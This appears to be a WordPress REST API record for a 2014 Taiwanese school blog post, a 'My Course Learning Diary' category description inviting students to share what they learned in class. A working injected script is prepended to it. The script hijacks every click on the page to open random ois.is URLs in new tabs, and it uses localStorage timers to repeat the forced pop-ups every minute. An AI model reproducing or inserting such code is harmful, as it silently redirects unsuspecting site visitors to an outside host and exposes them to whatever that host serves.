<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":10,"date":"2014-05-18T14:14:02","date_gmt":"2014-05-18T06:14:02","guid":{"rendered":"http:\/\/210.61.8.31\/wenft_student\/?p=10"},"modified":"2014-05-25T20:14:26","modified_gmt":"2014-05-25T12:14:26","slug":"%e5%90%84%e7%a7%91%e5%ad%a6%e4%b9%a0%e6%84%9f%e6%83%b3","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154128\/?p=10","title":{"rendered":"\u300c\u6211\u7684\u8ab2\u7a0b\u5b78\u7fd2\u65e5\u8a18\u300d"},"content":{"rendered":"<p><span style=\"font-size: 12pt; color: #808080;\">\u6709\u4ec0\u9ebc\u662f\u8001\u5e2b\u4e0a\u8ab2\u6240\u8aaa\u7684\u3001\u8ab2\u7a0b\u5b78\u7fd2\u6240\u5b78\u7684\u3001\u540c\u5b78\u8a0e\u8ad6\u4e92\u52d5\u4e2d\u5b78\u5230\u7684\u5404\u7a2e\u5177\u6709\u77e5\u8b58\u6027\u3001\u5b78\u7fd2\u6027\u7684\u5167\u5bb9\u3002\u60a8\u4e5f\u53ef\u4ee5\u628a\u5728\u8ab2\u5802\u4e0a\u7684\u7406\u89e3\u3001\u611f\u60f3\u3001\u5206\u4eab\u51fa\u4f86\uff0c\u8b93\u66f4\u591a\u7684\u540c\u5b78\u8a8d\u77e5\u5230\u60a8\u7684\u672c\u4e8b\u8207\u80fd\u8010\u3002\u60a8\u53ef\u4ee5\u52fe\u9078\u300c\u6211\u7684\u8ab2\u7a0b\u5b78\u7fd2\u65e5\u8a18\u300d\u7684\u5206\u985e\uff0c\u4f5c\u70ba\u6587\u7ae0\u67e5\u8a62\u8207\u5206\u985e\u7684\u4f9d\u64da\u3002<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6709\u4ec0\u9ebc\u662f\u8001\u5e2b\u4e0a\u8ab2\u6240\u8aaa\u7684\u3001\u8ab2\u7a0b\u5b78\u7fd2\u6240\u5b78\u7684\u3001\u540c\u5b78\u8a0e\u8ad6\u4e92\u52d5\u4e2d\u5b78\u5230\u7684\u5404\u7a2e\u5177\u6709\u77e5\u8b58\u6027\u3001\u5b78\u7fd2<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,3],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts\/10"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=10"}],"version-history":[{"count":7,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts\/10\/revisions"}],"predecessor-version":[{"id":690,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts\/10\/revisions\/690"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=10"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=10"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=10"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}